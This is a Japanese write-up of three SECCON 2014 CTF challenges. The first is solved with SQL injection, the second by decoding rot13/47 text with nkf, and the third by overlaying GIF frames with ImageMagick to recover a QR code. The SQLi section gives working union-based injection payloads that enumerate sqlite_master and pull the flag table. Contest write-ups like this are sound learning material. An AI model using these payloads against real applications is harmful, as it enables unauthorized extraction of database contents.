SECCON2014 write-up

箱庭SQLi

dotbundle???みたいな謎な感じだったけどDB.dllとかなんか同梱してるし
sqliteとかそういう系かな〜と当たりをつけてそのまま

とりあえず5行だとUNIONしてもエラーでない

' and 1=0 UNION ALL SELECT null,null,null,null,null --
' and 1=0 UNION ALL SELECT type,name,sql,null,null FROM sqlite_master --

sqlite_masterからsql取り出して見てみるとSECCONってテーブルがあった

' and 1=0 UNION ALL SELECT FLAG,null,null,null,null FROM SECCON--

FLAG{EnjoySQLi}

decode me

FRPPBA 2014 ÓúêááòÓýÓ°ÓùÓäÓ¯ÓâÓÄÓúÓðÓþÐÒ
ebg13/47 ÓúäÓø¦ÓÞÓ÷ÓþýÝï¡ÓöÓèÐÒ
Ò¿Ò¼Ò·ÔâÔ¯ÔÄÔøÓöãùòàÓúÔöÔâÐëÔøÓöÓÜÓ¼ÓâÓ÷ÓúÓ³äÓø¦ÓÜÓ¯ÓæÓîÓÚÐØ
Ó÷ÓÓÓÕÓÀÓàÓöÐÑÓÙÓ²ÓöÓ÷ÓÕÓãÓåÓÓÓ¯ÓèÐÙ
Ô¦ÔºÔßÓþ÷íâ¢à¢îÅùçêËÓúù¢ãèÓæÓõÓÚÓºõÏýþÓæÓõÓÞÓïÓäÓÓÐÒ
ÒõÒûÒðÒöСÒ÷Ò²ÒÇÒ¶ÐÐÒ·ÒÆÒ¿ÐÐÒ¤ÒôÒòÒòÒþÒýÒáÒßÒàÒãТ

FRPPBAでぐぐるとrot13っぽい
rot13すると

rot13/47

とかでるので

nkf -r encoded.txt 
SECCON 2014 に参加のみなさまこんにちは。
rot13/47 に気付くとは流石です。
nkfコマンドで簡単にデコードできることにも気付きましたか?
というわけで、おめでとうございます!
フラグは半角英数文字に変換してから入力してください。
FLAG{Have fun SECCON2014}

FLAG{Have fun SECCON2014}

重ねてみよう

チームメイトが解いてたのですが、一応別の解き方のため書いておく
白い点が動くアニメーションgif
とりあえず重ねることに

convert +adjoin afterimage.gif before.gif
ls -1 before* |sort| awk -F- '{system(cmd_exec "convert -transparent black before-"$2" after-"$2);}'
cp after-0.gif marge.gif
ls -1 after-* |sort |awk '{system(cmd_exec "convert "$1" marge.gif -composite marge.gif")}'
convert marge.gif -background black -flatten  -alpha off marge.gif 
convert marge.gif -negate marge.gif
open marge.gif

1行目:gifアニメをbefore-*.gifへ分解
2行目:before-*.gifに対して黒色を透過処理したafter-*.gifを作成
3行目:after-0.gifをmarge.gifにコピー
4行目:marge.gifへafter-*.gifを一つづつ合成
5行目:このままだと黒色が透過してるので、黒色で背景を上書き
6行目:これだと白黒反転しているので元に戻す
7行目:開いたmarge.gifをQRコードリーダーで読むと
FLAG{Many dot makes a QR code}